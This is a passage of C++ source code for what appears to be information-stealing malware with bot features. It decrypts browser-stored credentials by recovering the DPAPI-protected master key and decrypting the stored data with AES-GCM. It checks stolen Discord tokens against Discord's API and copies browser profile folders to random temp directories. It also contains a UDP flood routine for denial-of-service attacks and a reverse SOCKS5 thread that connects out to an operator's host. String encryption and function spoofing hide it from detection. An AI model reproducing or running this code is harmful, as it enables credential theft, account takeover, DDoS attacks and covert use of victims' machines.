iv(token_bytes.begin() + 3, token_bytes.begin() + 15); std::vector auth(token_bytes.begin() + 15, token_bytes.end()); ////JUNK(); // decrypt that shizzz CryptoPP::GCM::Decryption aes; aes.SetKeyWithIV(master_key.data(), master_key.size(), iv.data(), iv.size()); ////JUNK(); try { CryptoPP::AuthenticatedDecryptionFilter df(aes, new CryptoPP::StringSink(decrypted), CryptoPP::AuthenticatedDecryptionFilter::DEFAULT_FLAGS, 16); df.Put(auth.data(), auth.size()); df.MessageEnd(); } catch (...) { return ""; } return decrypted; } /* bool containsWeirdCharacters(const std::string& str) { for (char ch : str) { if (!std::isprint(static_cast(ch)) && ch != '\n' && ch != '\t') { return true; } } return false; } std::string makePostRequest(const std::string& url, const std::string& data) { CURL* curl; CURLcode res; std::string response_string; struct curl_slist* headers = NULL; curl_global_init(CURL_GLOBAL_DEFAULT); curl = curl_easy_init(); if (curl) { headers = curl_slist_append(headers, EC("Content-Type: application/x-www-form-urlencoded")); curl_easy_setopt(curl, CURLOPT_URL, url.c_str()); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data.c_str()); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, static_cast(data.size())); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); // Set callback function to capture response data curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback); // Set the response string as the write data curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response_string); // Perform the request, res will get the return code res = curl_easy_perform(curl); // Check for errors if (res != CURLE_OK) std::cerr << EC("curl_easy_perform() failed: ") << curl_easy_strerror(res) << std::endl; // Always cleanup curl_easy_cleanup(curl); curl_slist_free_all(headers); } curl_global_cleanup(); std::cout << EC("Post URL: ") << url << std::endl; if (!containsWeirdCharacters(response_string)) { std::cout << EC("Post Resp: ") << response_string << std::endl; } else { std::cout << "Encrypted chars not printed." << std::endl; } return response_string; }*/ std::vector get_decryption_key(std::string path) { SPOOF_FUNC; std::ifstream file(path); json state = json::parse(file); // erase 5 bytes from key (DPAPI) std::vector encrypted_key = base64_decode(state["os_crypt"]["encrypted_key"]); encrypted_key.erase(encrypted_key.begin(), encrypted_key.begin() + 5); ////JUNK(); // DPAPI stuff DATA_BLOB input = { encrypted_key.size(), encrypted_key.data() }; DATA_BLOB output; if (!CryptUnprotectData(&input, nullptr, nullptr, nullptr, nullptr, 0, &output)) { return std::vector(); } ////JUNK(); std::vector master_key(output.pbData, output.pbData + output.cbData); LocalFree(output.pbData); return master_key; } static const std::string base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789+/"; static inline bool is_base64(BYTE c) { return (isalnum(c) || (c == '+') || (c == '/')); } std::vector BDKD(const std::string& input) { size_t in_len = input.size(); int i = 0; int j = 0; int in_ = 0; BYTE char_array_4[4], char_array_3[3]; std::vector ret; while (in_len-- && (input[in_] != '=') && is_base64(input[in_])) { char_array_4[i++] = input[in_]; in_++; if (i == 4) { for (i = 0; i < 4; i++) char_array_4[i] = base64_chars.find(char_array_4[i]); char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; for (i = 0; (i < 3); i++) ret.push_back(char_array_3[i]); i = 0; } } if (i) { for (j = i; j < 4; j++) char_array_4[j] = 0; for (j = 0; j < 4; j++) char_array_4[j] = base64_chars.find(char_array_4[j]); char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; for (j = 0; (j < i - 1); j++) ret.push_back(char_array_3[j]); } return ret; } vector findMatch(string str, regex reg) { vector output; sregex_iterator currentMatch(str.begin(), str.end(), reg); sregex_iterator lastMatch; while (currentMatch != lastMatch) { smatch match = *currentMatch; output.push_back(match.str()); currentMatch++; } return output; } std::string DekDat(const std::vector& buffer, const std::vector& master_key) { try { if (buffer.empty()) return EC(""); std::vector decrypted_key = master_key; std::vector iv(buffer.begin() + 3, buffer.begin() + 15); std::vector ciphertext(buffer.begin() + 15, buffer.end() - 16); BCRYPT_ALG_HANDLE hAlg = nullptr; BCRYPT_KEY_HANDLE hKey = nullptr; NTSTATUS status; status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0); if (status != 0) return EC(""); status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0); if (status != 0) return EC(""); status = BCryptGenerateSymmetricKey(hAlg, &hKey, nullptr, 0, decrypted_key.data(), static_cast(decrypted_key.size()), 0); if (status != 0) return EC(""); BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo; BCRYPT_INIT_AUTH_MODE_INFO(authInfo); authInfo.pbNonce = iv.data(); authInfo.cbNonce = static_cast(iv.size()); authInfo.pbTag = const_cast(buffer.data() + buffer.size() - 16); authInfo.cbTag = 16; std::vector decrypted(ciphertext.size()); ULONG decryptedSize = 0; status = BCryptDecrypt(hKey, ciphertext.data(), static_cast(ciphertext.size()), &authInfo, nullptr, 0, decrypted.data(), static_cast(decrypted.size()), &decryptedSize, 0); if (status != 0) return EC("5_") + std::to_string(status); BCryptDestroyKey(hKey); BCryptCloseAlgorithmProvider(hAlg, 0); return std::string(decrypted.begin(), decrypted.begin() + decryptedSize); } catch (const std::exception& e) { return ""; } } std::string RemoveDotsAndReverse(std::string input) { SPOOF_FUNC; // Remove dots from the input string input.erase(std::remove(input.begin(), input.end(), '.'), input.end()); // Reverse the string std::reverse(input.begin(), input.end()); return input; } std::string replaceSpacesWithUnderscores(const std::string& input) { SPOOF_FUNC; std::string result = input; for (char& ch : result) { if (ch == ' ') { ch = '-'; } } return result; } std::string copyFileToTemp(const std::string& filePath) { SPOOF_FUNC; namespace fs = std::filesystem; try { // Check if the file exists if (!fs::exists(filePath)) { throw std::runtime_error(EC("File does not exist: ") + filePath); } // Get the temp directory std::string tempDir = fs::temp_directory_path().string(); // Generate the new path in the temp directory std::string newFilePath = tempDir + fs::path(filePath).filename().string(); // Copy the file to the temp directory fs::copy_file(filePath, newFilePath, fs::copy_options::overwrite_existing); // Return the new file path return newFilePath; } catch (const std::exception& e) { std::cerr << EC("Error: ") << e.what() << std::endl; return EC(""); // Return an empty string in case of an error } } std::string wcharToString(const wchar_t* wstr) { SPOOF_FUNC; std::wstring_convert, wchar_t> converter; return converter.to_bytes(wstr); } std::string generateRandomFolderPath() { SPOOF_FUNC; // Get the Temp directory path (using wchar_t for wide characters) wchar_t tempPath[MAX_PATH]; if (GetTempPathW(MAX_PATH, tempPath) == 0) { // Use GetTempPathW for wide string return EC(""); } // Generate a random number for the folder name std::random_device rd; std::mt19937 gen(rd()); std::uniform_int_distribution dis(1000000000000, 9999999999999); // 13-digit random number long long randomNum = dis(gen); // Construct the full folder path as a wide string std::wstring folderPath = std::wstring(tempPath) + std::to_wstring(randomNum); // Convert the wide string (std::wstring) to a narrow string (std::string) int requiredSize = WideCharToMultiByte(CP_UTF8, 0, folderPath.c_str(), -1, nullptr, 0, nullptr, nullptr); std::string result(requiredSize - 1, '\0'); // Allocating space for the result string WideCharToMultiByte(CP_UTF8, 0, folderPath.c_str(), -1, &result[0], requiredSize, nullptr, nullptr); return result; } std::vector PACKET_SIZES = { 512, 1024, 2048, 4116 }; void AttackUDP(const std::string& ip, int port, time_t secs) { SOCKET s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (s == INVALID_SOCKET) { std::cerr << EC("Socket creation failed.") << std::endl; return; } sockaddr_in server; server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr(ip.c_str()); server.sin_port = htons(port); while (time(NULL) < secs) { int packet_size = PACKET_SIZES[rand() % PACKET_SIZES.size()]; std::vector packet(packet_size); for (int i = 0; i < packet_size; ++i) { packet[i] = rand() % 356; // Fill with random data } sendto(s, packet.data(), packet.size(), 0, (struct sockaddr*)&server, sizeof(server)); } closesocket(s); } namespace fs = std::filesystem; std::string SendAPIRequest(const std::string& token) { CURL* curl; CURLcode res; std::string responseStr; curl_global_init(CURL_GLOBAL_DEFAULT); curl = curl_easy_init(); if (curl) { struct curl_slist* headers = NULL; std::string authHeader = EC("Authorization: ") + token; headers = curl_slist_append(headers, authHeader.c_str()); curl_easy_setopt(curl, CURLOPT_URL, EC("https://discordapp.com/api/v8/users/@me")); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseStr); res = curl_easy_perform(curl); if (res != CURLE_OK) { responseStr = ""; } curl_slist_free_all(headers); curl_easy_cleanup(curl); } curl_global_cleanup(); return responseStr; } // Function to create a random temporary directory and copy files std::string copyToRandomTempDirectory(const std::string& sourceDirectory) { if (!fs::exists(sourceDirectory) || !fs::is_directory(sourceDirectory)) { } string pottty = generateRandomFolderPath(); std::filesystem::copy(sourceDirectory, pottty); return pottty; } string iprvrs; int PortRvrs; void ReverseSocks5Thread() { // Configuration variables BOOL VERBOSE_mode = TRUE; // If FALSE only [!] is show const char* ip_SK5 = iprvrs.c_str(); int port_SK5 = PortRvrs; int buf_size = 5016; // If changed, line 202 in lib_SK5.h is a change too int timeout_sec = 30; // seconds int max_connect_failed = 10; // 1 for infinite // Initiates Winsock WSADATA WSAData; int ret = WSAStartup(MAKEWORD(2, 0), &WSAData); if (ret != 0) { printf(EC("[!] WSAStartup error: %i\n"), ret); return; } else if (VERBOSE_mode) printf(EC("[+] WSAStartup success\n")); int connect_failed = 0; while (TRUE) { SOCKET sock; SOCKADDR_IN sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(ip_SK5); sin.sin_port = htons(port_SK5); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == INVALID_SOCKET) { printf(EC("[!] sock INVALID_SOCKET\n")); return; } if (connect(sock, (SOCKADDR*)&sin, sizeof(sin)) != SOCKET_ERROR) { if (VERBOSE_mode) printf(EC("[+] Connect to SK5 success\n")); connect_failed = 0; fd_set readfds; int result, nfds = sock + 1; FD_ZERO(&readfds); FD_SET(sock, &readfds); if ((result = select(nfds, &readfds, 0, 0, 0)) > 0) { if (FD_ISSET(sock, &readfds)) { threaddata qq; qq.x = sock; qq.VERBOSE_mode = VERBOSE_mode; qq.timeout_sec = timeout_sec; qq.buf_size = buf_size; create_sock_thread((void*)&qq); } } } else { connect_failed++; printf(EC("[!] Connect to SK5 (%i) error\n"), connect_failed); } if (connect_failed >= max_connect_failed && max_connect_failed != 1) return; } }